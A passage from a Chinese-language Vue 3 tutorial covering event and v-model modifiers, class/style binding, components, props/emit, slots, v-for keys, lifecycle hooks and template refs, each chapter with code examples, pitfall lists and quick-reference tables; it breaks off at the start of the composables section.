4. @keyup.enter 在中文输入法下不准。 输入法组合期间的按键事件会被打断,需要「按回车才搜索」的框建议监听 change 或加 @keyup.enter.native 时代的替代:直接用 @keyup="debouncedSearch" + .lazy 组合,或监听 IME 的 compositionstart/end。
5. 事件监听器在 @ 上加了修饰符就不能再传 $event 以外的隐式参数。 @click="handle('a')" 之后想拿事件对象,必须写全 @click="handle('a', $event)"。
6. 复用同一个 v-model 到多个控件时小心互相覆盖。 一组 radio 共用一个 v-model 是对的;两个不同用途的输入框共用一个 v-model 就是 bug(会互相打字)。
7. v-model 配合 v-if 切换表单块,状态不会自动清。 DOM 销毁了,数据还在。需要「切步骤就清空」,用 :key="step" 强制重建组件,或手动重置。
8. 表单里的 <button> 默认是 type="submit"。 在 <form> 里加个「取消」按钮没写 type="button",一点就触发 submit。这是新手最常见的「为什么我点删除却提交了表单」。
附:修饰符速查
| 类别 | 写法 | 效果 |
|---|---|---|
| v-model | .lazy | change 事件才同步 |
| v-model | .number | 尝试转数字(空串保持 '') |
| v-model | .trim | 去首尾空格 |
| v-model 参数 | v-model:title="t" | 指定组件上的模型名(对应 title + update:title) |
| 事件 | .stop / .prevent / .capture / .self / .once / .passive | 见上文代码块 |
| 事件修饰符 | 顺序有意义 | .self 在前会拦掉后续处理 |
| 按键 | .enter .tab .delete .esc .space .up .down .left .right | 别名 |
| 系统键 | .ctrl .shift .alt .meta + .exact | .exact 表示「只能按这组键」 |
七、class 与 style 绑定:动态外观的正确写法
界面状态要反映在样式上(选中项高亮、进度条长度、主题色),靠字符串拼 class 迟早出问题。Vue 给了对象/数组两种结构,让「样式」和「状态」一一对应。
class:对象语法与数组语法
<!-- 对象:键是类名,值是布尔 -->
<div :class="{ active: isActive, 'text-danger': hasError }">
<!-- 对象整体绑定(把逻辑收进 computed,模板保持干净) -->
<div :class="classObj">
<script setup>
const classObj = computed(() => ({
active: props.isActive,
disabled: props.count === 0,
'is-large': props.size === 'large'
}))
</script>
<!-- 数组:静态类 + 动态类混排 -->
<div :class="[baseClass, isActive ? 'active' : 'inactive', extraClassObj]">
<!-- 三元够用就别上对象;条件超过两个就用对象或 computed -->
含空格或多个类名的键必须加引号('text-danger'),因为它是对象键而不是标识符。
style:对象、数组与 CSS 变量
<div :style="{ width: barWidth + '%' }">
<div :style="{ color: activeColor, 'font-size': fontSize + 'px' }"> <!-- 连字符属性要加引号 -->
<div :style="[baseStyle, themeStyle]"> <!-- 后者覆盖前者 -->
<div :style="{ '--brand': brandColor }"> <!-- CSS 变量 -->
<style>.box { border: 3px solid var(--brand); }</style>
三个约定:驼峰与连字符都能写(fontSize 或 'font-size',连字符形式必须加引号);多来源合并时数组后面的赢(所以别把 !important 当覆盖手段,示例 07 演示了正确做法是调数组顺序);给组件库/全局样式传值,CSS 变量是最干净的路(不必和对方的选择器权重打架)。
组件上的 class 落到哪:单根继承,多根要显式处理
<!-- 单根子组件:class 自动合并到子组件根元素 -->
<tag-chip class="is-primary">Vue</tag-chip>
<!-- 多根子组件(fragment):Vue 不知道往哪放,开发版直接警告 -->
<two-root class="is-primary">…</two-root>
多根组件要显式接收:<div v-bind="$attrs"> 自己决定哪个根拿样式,或者 defineOptions({ inheritAttrs: false }) 后手动分发。示例 07 的最后一块现场触发了这条警告——这是很多人第一次写多根组件时莫名其妙丢样式的原因。
⚠️ 本章的坑
1. 字符串拼接 class 会覆盖静态 class。 class="btn" :class="dynamicClass" 是正确的合并写法;但写成 :class="'btn ' + type" 时,一旦 type 为 undefined 就出现 btn undefined 这个假类名。用对象/数组语法让 Vue 处理合并。
2. !important 之后谁也盖不住。 内联 !important 的优先级高于任何选择器(包括另一个内联声明)。样式不生效时先搜一遍 !important。
3. 连字符 CSS 属性写在对象里不加引号会报错。 :style="{ font-size: '14px' }" 是非法 JS 对象字面量,必须 {'font-size': '14px'} 或改成驼峰 fontSize。
4. 同名类冲突:组件内部的 class 会被外部继承进来。 单根组件上写 class="active",若子组件根元素本来也有 .active 样式,两边规则合并后表现可能诡异。组件样式请用 scoped 或 BEM 前缀(第十八章)。
5. v-show 与 :style 打架。 v-show 靠改 display,你若同时绑定 :style="{ display: 'flex' }",隐藏后会被重新显示出来。要既隐藏又改 display,用 v-if 或把 display 也纳入 computed。
6. transition/animation 的类名由 Vue 管理。 <Transition name="fade"> 需要 .fade-enter-from 等四个类,少写一个(尤其 -from)就没有过渡效果。这是「我的动画怎么不生效」的头号原因(示例见第十四章的 KeepAlive 部分配套说明)。
7. SVG 元素的 class 与 HTML 不同。 SVG 上用 class 绑定没问题,但 className 相关操作要留意;style 里的 fill、stroke 只能对 SVG 生效。给图标换色推荐 CSS 变量 + fill="var(--c)"。
附:动态样式速查
| 需求 | 推荐写法 |
|---|---|
| 单个开关类 | :class="{ active: isActive }" |
| 二选一 | :class="ok ? 'ok' : 'no'" |
| 多个类自由组合 | :class="[base, { a: condA, b: condB }]" |
| 类多且逻辑复杂 | :class="classObj"(computed 里算) |
| 数值型样式(宽度/高度) | :style="{ width: w + '%' }" |
| 主题色/第三方样式传值 | :style="{ '--brand': color }" |
| 多来源样式合并 | :style="[base, override]"(后者赢) |
| 组件外层加样式 | 单根自动继承;多根用 v-bind="$attrs" |
八、组件入门:注册、嵌套与渲染顺序
组件就是把界面切成可复用的块:一个组件有模板、有逻辑、有自己的状态。页面上写 <user-card>,Vue 负责把对应的组件实例创建出来并管理它的生命周期。
一个组件的最小形状
<!-- components/UserCard.vue -->
<script setup>
import { ref } from 'vue'
const likes = ref(0)
</script>
<template>
<div class="card">
<slot />
<button @click="likes++">赞 {{ likes }}</button>
</div>
</template>
<script setup> 是 Vue 3 的默认写法:顶层 import 的东西、const 声明的变量和函数,模板里都能直接用,不需要 return。
注册:全局与局部
| 方式 | 代码 | 适合 |
|---|---|---|
| 单文件组件引入(推荐) | import UserCard from '@/components/UserCard.vue'(<script setup> 里 import 即可用) | 一切项目 |
| 全局注册 | app.component('UserCard', UserCard) | 全站通用的小组件(图标、按钮),代价是失去 tree-shaking |
| 组件内选项注册 | components: { UserCard } | 选项式老代码 |
| 异步注册 | defineAsyncComponent(() => import('...')) | 体积大、非首屏的组件(第十四章) |
全局注册有个隐藏代价:打包时无法摇树,哪怕某个页面用不到也会被带上;所以主流做法是「按需 import + <script setup>」,只把图标、按钮这类真正的全局件放插件里注册。
嵌套与渲染顺序
<script setup>
import Panel from './Panel.vue'
</script>
<template>
<div class="page">
<Panel title="第一块">内容 A</Panel>
<Panel title="第二块">内容 B</Panel>
</div>
</template>
组件树按「父 setup → 父 render → 子 setup → 子 render → 子 mounted → 父 mounted」推进:先自顶向下建好,再自底向上通知「已挂载」。这个顺序解释了为什么父组件 onMounted 里能拿到子组件渲染出来的 DOM。
同一个组件可以在一个页面里出现多次,每个实例的状态各自独立(示例 13 的组合式函数复用也建立在这一点上)。组件自己 <template> 里的初始状态来自它自己 setup 里的 ref,不是共享变量——注意别把状态写到组件文件顶层的模块级变量里,那会变成「所有实例共享」的意外全局状态。
// ✗ 反例:模块级状态,所有实例共享
const shared = ref(0)
export default { setup() { return { shared } } }
// ✓ 正解:状态在 setup 内部创建,每个实例一份
export default { setup() { const own = ref(0); return { own } } }
命名与保留名
- 组件名用 PascalCase(
UserCard)在.vue里,模板里也可写 kebab-case(<user-card>),两者等价;浏览器 in-DOM 模板只能用 kebab-case。 - 组件名不能与 HTML 保留元素冲突(
component、template、slot、transition、keep-alive以及原生标签),Vue 会警告Do not use reserved names。 is是 HTML 的保留属性,动态组件要用<component :is="...">(第十四章)。- 递归组件必须有可发现的名字:单文件组件用文件名自动推断,其它写法要显式
name或defineOptions({ name: 'TreeNode' })。
示例 08 的第三块把三层组件的 setup / mounted 打印成带时间戳的日志,点「重播」能看到顺序真的重跑一遍。
⚠️ 本章的坑
1. import 了却「找不到组件」。 常见原因是路径后缀漏了 .vue(构建工具默认不解析裸 .vue 扩展名)、或大小写不对(Windows 本地能跑,Linux 构建直接失败)。这是「本地好使、CI 挂了」的头号元凶。
2. 全局注册要在 mount 之前。 注册晚于挂载时,已经渲染出来的那段模板不会回头重算,late-badge 这类组件只可能在后续渲染里被解析到(行为不稳、也不该依赖)。约定:所有 app.component() / app.use() 都写在 app.mount() 前面。
3. 组件名与原生标签重名。 注册 <Button> 是允许的(PascalCase 不冲突),但注册 button 会覆盖原生标签,出现离谱行为。图标/按钮类组件统一加前缀(BaseButton、AppButton)能避免大量麻烦。
4. 状态写在模块顶层。 上面那段反例——const shared = ref(0) 放在文件顶层(defineStore 除外),多实例共享,出现「改了 A 的数据 B 也跟着变」。
5. 多根组件(fragment)带来 attrs 继承问题。 组件顶层并列两个 <div> 时,父级传下来的 class、style、@click 无处可放,开发版会警告「Extraneous non-props attributes」。解决:合并成单根、或显式 v-bind="$attrs"。
6. key 加在组件上是给 Vue 的,不是给组件的。 <user-card :key="id"> 用来强制重建实例(切换用户时清掉内部状态),别指望它在组件 props 里出现。
7. 组件模板里的注释会进渲染结果。 <!-- ... --> 默认被保留进 DOM(除非构建配置移除),大段说明文字建议放 <script> 上方而不是模板里。
附:组件组织速查
| 问题 | 建议 |
|---|---|
| 组件放哪 | 全局共享的进 app/components/(Nuxt)或 src/components/;单页专用的可与页面同目录 |
| 命名 | 多词 PascalCase:UserCard;基础组件加前缀:BaseButton;单一实例加 App:AppSidebar |
| 何时拆组件 | 一个块被用了 2 次以上 / 单文件超过 200 行 / 有独立状态要自管 |
| 何时别拆 | 只为「看起来整齐」而拆的模板片段——反而要穿多层传 props |
| 传递数据 | props 向下、emit 向上(第九章);深层用 provide/inject(第十三章)或 store(第十五章) |
九、props 与 emit:父子之间的规矩
组件通信的地基是两条:props 向下传数据,emit 向上传事件。核心纪律叫「单向数据流」——子组件不能改父组件传下来的 props,只能读、只能在本地复制一份再改。
props:声明、类型、默认值
<!-- UserCard.vue -->
<script setup>
const props = defineProps({
name: { type: String, required: true },
level: { type: Number, default: 1 },
tags: { type: Array, default: () => [] }, // 对象/数组必须用工厂函数
meta: { type: Object, default: () => ({}) },
size: { type: String, validator: (v) => ['s', 'm', 'l'].includes(v) }
})
// 也可以只列类型(简写)
// defineProps(['name', 'level'])
</script>
用类型声明的 String | Number 写作 [String, Number]。校验只在开发版生效(示例 09 把警告接到了迷你控制台里),生产构建里被剥掉——所以它是「写代码时的护栏」,不是运行时保障。
模板里传值的对照,务必分清:
| 写法 | 传过去的值 |
|---|---|
:count="1" | 数字 1 |
count="1" | 字符串 "1" |
:count="raw" | raw 变量的值 |
:is-ok | 布尔 true(缺省即 true,仅 Boolean 类型 props 有这个糖) |
v-bind="allProps" | 展开对象里所有字段 |
props 只读:想改就复制
<script setup>
import { ref, watch } from 'vue'
const props = defineProps({ title: String })
// ✗ 直接改:开发版警告「Avoid mutating a prop directly」
// props.title = '新值'
// ✓ 本地副本 + 同步
const local = ref(props.title)
watch(() => props.title, (v) => { local.value = v })
</script>
如果父子要双向同步,那是 v-model 的活(下面第三段)。
emit:向上传事件
<!-- Child.vue -->
<script setup>
const emit = defineEmits(['like', 'rename', { submit: (payload) => typeof payload === 'string' }])
function tap() { emit('like', 1) }
</script>
<!-- Parent.vue -->
<child @like="count += $event" @rename="name = $event" @submit="onSubmit" />
声明 emits 有两个实际好处:父组件监听时 IDE 有提示;未在 emits 里声明的「事件风格」监听(@xyz)会被当成原生事件透传到根元素,导致触发两次。声明了 emits,Vue 就知道它不是 DOM 事件。
组件上的 v-model
Vue 3 里 v-model 在组件上等价于「modelValue prop + update:modelValue 事件」,并且支持带参数:
<!-- 手写完整版 -->
<script setup>
const props = defineProps({ modelValue: String })
const emit = defineEmits(['update:modelValue'])
</script>
<template><input :value="props.modelValue" @input="emit('update:modelValue', $event.target.value)"></template>
<!-- 父组件用法 -->
<base-input v-model="form.name" />
<price-field v-model:price="item.price" v-model:count="item.count" />
defineModel()(Vue 3.4+)把上面那一大段压缩成一行,新项目推荐:
<script setup>
const model = defineModel() // 对应 v-model
const price = defineModel('price', { type: Number, default: 0 }) // 对应 v-model:price
</script>
<template><input v-model="model"></template>
兜底透传:$attrs
父组件传了一堆没被子组件 props 声明的东西(class、data-*、@click、未知属性),它们汇总在 $attrs 里。封装第三方组件时几乎必然用到:
<template>
<el-input v-bind="$attrs" :model-value="text" @update:model-value="text = $event" />
</template>
示例 09 的第二块是本教程最重要的一条警告现场:子组件里 props.count++ 会打出「Avoid mutating a prop directly」;换成 emit('inc') 由父级改,数据就真的变了。
⚠️ 本章的坑
1. 数组/对象的 default 忘了工厂函数。 default: [] 会让所有实例共享同一个数组(Vue 直接报错要求写成 () => [])。这个强制要求反而帮你避开了一个经典 bug。
2. Boolean 类型的「缺省即 true」。 :disabled 不写值时 props 收到 true;但 disabled=""、disabled 这类 HTML 写法混进来时容易和 String 类型的 props 冲突。同一个 props 不要同时声明 Boolean 和 String,除非清楚这套推断规则。
3. 子组件改 props 里的对象「不报错」。 单向数据流只防「重新赋值 props」,props.user.name = 'x' 这种深层修改 Vue 拦不住(严格来说 readonly 代理会给出警告,但很多人直接把它绕过去了)。约定:深层可改的数据要么交给父级改(emit),要么复制一份本地副本。
4. props 大小写。 模板里传 user-name,子组件声明 userName,Vue 会自动转换——但在浏览器 in-DOM 模板里 :userName="x" 被转成小写后就对不上了。项目里统一 kebab-case 传值最省心。
5. 事件名大小写。 emit('updateName') 与父级 @update-name 不匹配(@ 监听在 in-DOM 模板里是小写)。事件名建议一律 kebab-case。
6. 忘记声明 emits,事件被当原生事件。 结果可能是点击触发两次(一次自定义、一次透传到根 DOM)。上一节说过,这也是要声明 emits 的核心理由。
7. 用 props 解构断掉响应性。 const { title } = defineProps(...) 后 title 是普通值(3.5 之前);老教程里满大街这种写法。安全做法:props.title,或 toRef(props, 'title')。
8. 父级用 v-model 但子组件只声明了 props: ['value'](Vue 2 习惯)。 Vue 3 里模型名变了(modelValue),旧写法静默失效、无任何警告——这是升级项目里最隐蔽的一类 bug。
9. defineProps / defineEmits 只能写在 <script setup> 顶层。 它们是编译器宏(不需要 import),也不能放进函数里调用。看到「找不到 defineProps」多半是误加了 import 或写错了 script 块。
附:父子通信方式对照
| 场景 | 方案 | 备注 |
|---|---|---|
| 父 → 子 | props | 只读,类型/默认值/校验都能声明 |
| 子 → 父 | emit | 事件名 kebab-case,可带载荷 |
| 父 ⇄ 子(表单值) | v-model / defineModel() | 一个组件可有多模型 v-model:xxx |
| 父 → 深层子孙 | provide / inject | 第十三章 |
| 全局共享状态 | Pinia | 第十五章 |
| 调用子组件方法 | 模板 ref + defineExpose | 第十四章,最后手段 |
| 未声明属性/事件透传 | v-bind="$attrs" | 封装第三方组件必用 |
十、slot 插槽:把内容塞进组件
props 传的是「数据」,插槽传的是「界面」。有了插槽,组件才能既固定结构(卡片外框、表格骨架)又开放内容。
三种插槽
<!-- CardBox.vue -->
<template>
<section class="card">
<header><slot name="header">默认标题</slot></header>
<main><slot>这里是默认插槽的兜底内容</slot></main>
<footer><slot name="footer" /></footer>
</section>
</template>
<!-- 父组件使用 -->
<card-box>
<template #header>
<h3>用户列表</h3>
</template>
<p>默认插槽的内容写在这里,不用 template 包也行</p>
<template #footer>
<button>关闭</button>
</template>
</card-box>
规则要点:只有一个默认插槽时可以不写 <template>;具名插槽必须写在 <template #名字> 上;子组件里 <slot> 之间的内容就是「父级没传时的兜底」。
作用域插槽:数据归子组件,长相归父组件
插槽内容的作用域属于父组件,拿不到子组件的数据。要让父级按子组件的每行数据自定义渲染,就用作用域插槽(把数据当 props 传给 <slot>):
<!-- UserList.vue -->
<template>
<div>
<div v-for="(row, i) in rows" :key="row.id">
<slot name="row" :row="row" :index="i" :odd="i % 2 === 1">
<!-- 没自定义时用一个朴素的兜底 -->
<span>{{ row.name }}</span>
</slot>
</div>
</div>
</template>
<!-- 父组件:同一份数据,两种外观 -->
<user-list :rows="users">
<template #row="{ row, odd }">
<span :class="{ zebra: odd }">{{ row.name }} · {{ row.level }}</span>
</template>
</user-list>
<user-list :rows="users">
<template #row="{ row }">
<el-tag>{{ row.name }}</el-tag>
</template>
</user-list>
这是 Vue 里做「可定制表格 / 下拉选项 / 树节点」的标准手法,也是 element-plus、vuetify 这类库文档里最容易被跳过、却最值钱的一节。
动态插槽名与 v-slot 全貌
<template #[item]="data"> <!-- 方括号里放变量,名字动态决定 -->
<template v-slot:header="props"> <!-- 完整写法,作用域数据整体接住 -->
# 是 v-slot: 的缩写。在浏览器 in-DOM 模板里请用 v-slot:header 完整写法——# 不是合法的 HTML 属性名字符,某些解析路径下会被丢掉(示例 10 有对照)。
Vue 2 的 slot="header" 属性写法和 slot-scope 都已废弃,升级老代码时全局搜这两个词。
示例 10 的第三块是「同一份数据两种外观」:表格版和卡片版共用同一个 <user-list>,只有作用域插槽不同。
⚠️ 本章的坑
1. 具名插槽的内容直接写在组件里,会全进默认插槽。 <card-box><h3 #header>标题</h3></card-box> 这种「把 #header 加在普通元素上」在 Vue 3 里不合法(v-slot 只能用在 <template> 或组件上),内容会落进默认插槽或触发警告。
2. 插槽内容里访问不到子组件的数据。 这是设计如此(编译作用域归父级),不是 bug。要数据就得走作用域插槽——新手常在这里绕一大圈。
3. 传了插槽但子组件里没有 <slot>。 开发版警告「Extraneous non-emits event listeners / Slot content was provided」,内容被静默丢弃。封装组件时先确认 <slot> 写全了。
4. 同一个作用域插槽内容会被求值多次。 在插槽里读 $slots.row(...) 手动调用时,每次调用都是重新执行一次父级函数,带副作用的写法会重复触发。
5. v-if 控制插槽内容时,父组件里的条件变量与子组件无关。 「插槽没显示」的排查顺序应该是:条件真值 → 插槽名拼写 → 子组件有没有对应 <slot>。
6. 默认插槽与具名插槽混用时,$slots.default 可能包含空白节点。 早期版本要做 trim 判断,Vue 3 已处理;但若你在 render 函数里手写插槽判断,仍需检查返回内容是否真的有意义。
7. 具名插槽的兜底内容别忘写。 <slot name="footer" /> 空着时,父级不传就是一块空白框(外框样式还在,看着像 bug)。要么写兜底,要么用 v-if="$slots.footer" 把外层容器也省掉。
附:插槽语法速查
| 需求 | 子组件写法 | 父组件写法 |
|---|---|---|
| 默认插槽 + 兜底 | <slot>兜底内容</slot> | <card>内容</card> |
| 具名插槽 | <slot name="header" /> | <template #header>…</template> |
| 作用域插槽 | <slot name="row" :row="r" /> | <template #row="{ row }">…</template> |
| 插槽默认值 | <template #footer><p>默认页脚</p></template> 写在 <slot> 内 | — |
| 动态插槽名 | <slot :name="slotName" /> | <template #[slotName]>…</template> |
| 判断父级是否传了 | v-if="$slots.footer" | — |
| in-DOM 模板 | <slot name="header"> | <template v-slot:header>(别用 #) |
| Vue 2 旧写法(已废弃) | <slot name="x"> | <template slot="x" slot-scope="p"> |
十一、v-for 与 key:列表渲染的稳定性
v-for 把数组变成一串节点,key 告诉 Vue「哪个节点代表哪条数据」。这两件事写对了,列表才有正确的状态和能接受的性能——示例 11 用一个小勾选框演示了写错的后果。
四种可遍历的数据
<li v-for="item in list" :key="item.id">{{ item.name }}</li> <!-- 数组 -->
<li v-for="(item, i) in list" :key="item.id">{{ i }}: {{ item.name }}</li> <!-- 带索引 -->
<li v-for="(val, key) in obj" :key="key">{{ key }} = {{ val }}</li> <!-- 对象 -->
<li v-for="(val, key, i) in obj" :key="key">…</li> <!-- 对象带索引 -->
<li v-for="n in 5" :key="n">第 {{ n }} 项</li> <!-- 数字:1..5 -->
<li v-for="ch of str" :key="ch">{{ ch }}</li> <!-- 字符串 -->
<!-- 不想引入额外元素时用 template 分组 -->
<template v-for="(row, i) in rows" :key="row.id">
<dt>{{ row.name }}</dt><dd>{{ row.value }}</dd>
</template>
in 和 of 两种连接词等价(of 更接近 JS 的 for...of,可读性略好)。遍历数字时 n 从 1 开始,不是 0——这条反直觉,值得记一下。
key 的三条规矩
- 唯一:同层列表内不能重复,否则 Vue 直接警告「Duplicate keys found」,节点复用错乱。
- 稳定:同一个数据项在任何一次渲染中 key 不变。用
Math.random()、Date.now()当 key 会让每次渲染都重建全部节点。 - 来自数据本身:优先用后端返回的
id。index 不是 id——只有当「列表顺序固定、永不重排/插入/删除、行内也没有本地状态」时才勉强可用。
用 index 当 key 为什么危险?因为 Vue 靠 key 决定「哪个 DOM 节点属于哪条数据」。用 index 时,头部插入一条数据后,原本第 2 行的节点(带着它的勾选框状态)被当成第 1 行继续用——于是「勾选状态跟着位置走,而不是跟着人走」。示例 11 的两种 key 策略切换就是让你亲眼看到这件事。
v-for 与 v-if 同级:Vue 3 的顺序变了
<!-- ✗ 不要这样写 -->
<li v-for="u in users" v-if="u.active">{{ u.name }}</li>
Vue 3 里 v-if 优先级更高,它会先求值,此时 u 还不存在 → u is not defined。三种正解:
<!-- ① 用 computed 先过滤(首选:只算一次,还能缓存) -->
<li v-for="u in activeUsers" :key="u.id">{{ u.name }}</li>
<script setup>
const activeUsers = computed(() => users.value.filter(u => u.active))
</script>
<!-- ② 条件在外层包一层(template 上不产生额外 DOM) -->
<ul v-if="showUsers">
<li v-for="u in users" :key="u.id">…</li>
</ul>
<!-- ③ 每一行内部再用 v-if(当「过滤条件」和「行内显示」不是一回事时) -->
<li v-for="u in users" :key="u.id"><span v-if="u.active">{{ u.name }}</span></li>
绝大多数情况选 ①。用 ③ 时注意:不满足条件的行仍然创建了节点,只是里面空着——数据量大时白花一堆开销。
长列表的性能底线
| 手段 | 什么时候用 | 注意 |
|---|---|---|
shallowRef 存列表 | 上千条、且行内不需要深层响应 | 更新时要整体替换新数组 |
| 分页 / 无限滚动 | 一次没必要全放 | IntersectionObserver 触发加载 |
| 虚拟列表(vue-virtual-scroller 等) | 万级、固定行高 | 需要稳定的高度与 key |
v-memo="[row.id, row.done]" | 列表项内部有昂贵计算 | 依赖数组要写全,漏了就是「不更新」 |
v-once | 纯静态片段 | 一次之后永不更新 |
| 把行抽成子组件 | 行内有自己的状态与逻辑 | 子组件 props 用浅比较天然省下渲染 |
⚠️ 本章的坑
1. key 缺失时 Vue 用「原地复用」策略。 不报错、看起来也正常,直到你插入/删除一行——输入框内容错位、checkbox 状态错乱。开发版会警告,生产版不警告,这是「测试环境好、线上用户截图说状态乱」的经典成因。
2. index 当 key + 行内组件本地状态 = 灾难。 组件实例被复用时不会重新初始化,data/ref 留下的就是上一行的旧值。
3. v-for 里直接改数组会让遍历与渲染互相打断。 在循环体内 list.splice(i, 1) 删除当前项属于「边遍历边改」,请改用 filter 生成新数组赋值回去。
4. 对象遍历的顺序依赖 Object.keys。 数字键会被提前排序({2: 'a', 1: 'b'} 遍历顺序是 1、2),需要顺序就用数组,或 Object.entries 自己排。
5. <transition-group>(Vue 3 里叫 <TransitionGroup>)必须有 key。 少 key 时进出场动画错位。
6. key 不是给 DOM 用的属性。 它不会出现在渲染出的 HTML 里,别指望用 querySelector('[key=1]') 找元素。
7. 深层嵌套列表的 key 要带上层级信息。 两层都用 index 时,跨层复用会产生「A 分支展开了 B 分支的状态」。用 row.id + level 之类的组合字符串。
8. 列表数据整体替换 vs 局部修改。 list.value = newArray 会重建所有节点(除非 key 稳定);list.value[i].done = true 只改一行。批量改动时用前者并保证 key 稳定,别在循环里逐条改触发几十次更新。
附:列表写法速查
| 需求 | 写法 |
|---|---|
| 数组 + 索引 | v-for="(item, i) in list" :key="item.id" |
| 对象 | v-for="(val, key) in obj" :key="key" |
| 数字 1..N | v-for="n in count" :key="n" |
| 不产生额外元素 | <template v-for="…" :key="…"> |
| 过滤后渲染 | v-for="u in filtered"(filtered 是 computed) |
| 大列表省开销 | shallowRef + 整体替换、或虚拟滚动 |
| 行内动画 | <TransitionGroup tag="ul" name="list"> + 每行 :key |
| key 选择 | 后端 id > 本地生成的稳定 id > |
十二、生命周期与模板 ref:什么时候可以碰 DOM
组件从创建到销毁有一串确定的时刻。想知道「哪段代码该写在哪个时机」,靠的就是这张时序表;而「什么时候才能读 DOM」只有一个答案:挂载之后。
六个钩子与它们的时机
<script setup>
import { ref, onBeforeMount, onMounted, onBeforeUpdate, onUpdated, onBeforeUnmount, onUnmounted, nextTick } from 'vue'
const n = ref(0)
console.log('1. setup():此刻还没有 DOM')
onBeforeMount(() => console.log('2. beforeMount:渲染函数准备好,DOM 还没插进页面'))
onMounted(() => console.log('3. mounted:DOM 已就绪,可以读/操作元素、起定时器、发请求'))
onBeforeUpdate(() => console.log('4. beforeUpdate:数据变了,DOM 尚未更新'))
onUpdated(() => console.log('5. updated:DOM 已跟上新数据'))
onBeforeUnmount(() => console.log('6. beforeUnmount:卸载前,做清理'))
onUnmounted(() => console.log('7. unmounted:已从 DOM 移除'))
</script>
组合式里没有 created——setup() 本身就取代了 beforeCreate/created。也没有 onBeforeSetup 这种东西。
该写在哪个钩子里:起定时器/加全局监听/初始化第三方图表实例 → onMounted;对应的清理 → onBeforeUnmount(或 onUnmounted);订阅全局事件 + 取消 → 同一对钩子;读 DOM → onMounted 或 nextTick 之后;数据变化后的 DOM 副作用 → 优先 watch(..., { flush: 'post' }),而不是 onUpdated(后者每次任何更新都触发,很容易写出循环)。
DOM 是异步更新的:nextTick
function add() {
list.value.push(Date.now())
console.log(el.value.children.length) // ✗ 还是旧数量,DOM 还没更新
nextTick(() => console.log(el.value.children.length)) // ✓ 更新后
}
Vue 把同一批数据变更合并成一次更新(微任务),所以「改完数据立刻读 DOM」拿到的必然是旧值。三种等 DOM 的办法:nextTick()、watch 配 flush: 'post'、onUpdated(最不推荐)。
模板 ref:拿到元素或子组件实例
<script setup>
import { ref, useTemplateRef, onMounted } from 'vue'
const inputEl = ref(null) // 名字与模板里的 ref 属性对应
// Vue 3.5 推荐写法(避免「ref 变量」与「ref 属性」混淆):
// const inputEl = useTemplateRef('search-input')
</script>
<template>
<input ref="search-input" v-model="q" placeholder="搜索">
<UserCard ref="card" />
</template>
四条规则:
mounted之前它是null。 在setup顶层直接inputEl.value.focus()必然报错。- 出现在
v-for里的 ref 会被 Vue 收集成数组(ref="rowEl"时rowEl.value是数组)。 - 给组件加 ref 拿到的是组件实例,而不是 DOM 元素;
<script setup>的组件默认不暴露任何东西,父级拿到的是个空壳,需要子组件defineExpose({ focus, reset })(第十四章有现场)。 - 要拿原生 DOM,ref 加在原生元素上即可;动态 ref 名用函数形式
:ref="(el) => { els[i] = el }"。
示例 12 最值得看的是第 2 块:不写 onUnmounted 清理时,组件已经卸载、日志还在一秒一秒往外刷——这就是线上「路由切走了还在轮询」的成因。
⚠️ 本章的坑
1. 在 setup 顶层访问 DOM。 document.querySelector、el.value.focus() 写在 setup 里执行时机会导致拿到 null(或 SSR 时 document is not defined)。挪进 onMounted。
2. 忘记清理:定时器、全局事件、WebSocket、IntersectionObserver、watch 手动 stop。 卸载后回调还在跑,轻则内存泄漏,重则在已销毁的组件里改数据。规则很简单:在哪创建的订阅,就在对应的卸载钩子里关掉。
3. 组件被 KeepAlive 缓存时不会触发 unmounted。 切走只走 onDeactivated。你在 onMounted 里起的定时器,切走时不会停(第十四章专门讲这个)。
4. onUpdated 里再改响应式数据 → 递归更新。 报 Maximum recursive updates exceeded,页面卡死。想「数据变化后同步 DOM」用 watch + flush: 'post'。
5. v-if 控制的 ref 在隐藏时是 null。 任何 xxx.value.method() 之前要判空,或用可选链 inputEl.value?.focus()。
6. 异步回调里假设组件还活着。 setTimeout(() => { data.value = res }, 3000),用户 1 秒后就切走了——给组件赋值虽然不报错,但请求竞态会污染下一次进入的界面。卸载时清 timer,或加「实例仍存活」标记。
7. 模板 ref 名字与响应式变量重名会被覆盖。 一个 setup 里既有普通 const el = ref(0) 又给元素写 ref="el",行为难料。约定 ref 变量统一以 El 结尾(inputEl、chartEl)。
附:钩子时序与用途表
| 顺序 | 钩子 / 阶段 | 能做什么 | 别做什么 |
|---|---|---|---|
| 1 | setup() | 声明 ref/computed/watch、注册 provide | 访问 DOM、发请求(无 SSR 时勉强但没必要) |
| 2 | onBeforeMount | 极少用 | 读 DOM(还没插) |
| 3 | onMounted | 读 DOM、起 timer、第三方实例、首次请求 | 忘记配套卸载清理 |
| 4 | onBeforeUpdate | 记录更新前的 DOM 状态(如滚动位置) | 改响应式数据 |
| 5 | onUpdated | 几乎不需要 | 在里面改数据(递归更新) |
| 6 | onBeforeUnmount | 清理 timer/监听/实例 | 异步操作(来不及 await) |
| 7 | onUnmounted | 兜底清理 | 假设 DOM 还在 |
| — | onActivated / onDeactivated | 仅 KeepAlive 内,替代 mounted/unmounted 的重复触发 | 当成普通钩子写重复逻辑 |
十三、provide / inject 与组合式函数:跨层级与逻辑复用
props 一层层传下去(俗称「prop drilling」)传三层就没人忍得了;把组件里的通用逻辑抽出来复用,又是另一件事。这一章解决这两个「组织问题」。
provide / inject:跨层级传值
<!-- 祖先组件 ThemePanel.vue -->
<script setup>
import { provide, ref, readonly, computed } from 'vue'
const theme = ref('light')
const toggle = () => { theme.value = theme.value === 'light' ? 'dark' : 'light' }
provide('theme', readonly(theme)) // 只读的值
provide('toggleTheme', toggle) // 改的动作交给后代
provide('user', computed(() => store.user))
</script>
<!-- 任意深度的后代 -->
<script setup>
import { inject } from 'vue'
const theme = inject('theme')
const toggle = inject('toggleTheme')
const lang = inject('lang', 'zh') // 第二个参数:没找到时的默认值
const conf = inject('conf', () => ({}), { treatAsDefault: true }) // 工厂默认值
</script>
要点:provide 的是 ref/computed 时才有响应性(示例 13 有对照);用 symbol 做 key(const ThemeKey = Symbol())能避免和第三方库撞名,也便于 TS 推断;祖先每次 provide 同一个 key 会覆盖上一层。
它适合「主题、语言、当前表单上下文、面板布局」这类语义上属于环境、但只在局部子树生效的数据。别把它当全局状态仓库——一旦某个组件被抽走,后代就静默拿到默认值。
组合式函数:Vue 3 的复用单位
mixin(Vue 2)的问题是会撞名、来源不明。Vue 3 的答案是组合式函数:一个用到了响应式 API 的普通函数,约定命名 useXxx。
// composables/useCounter.js
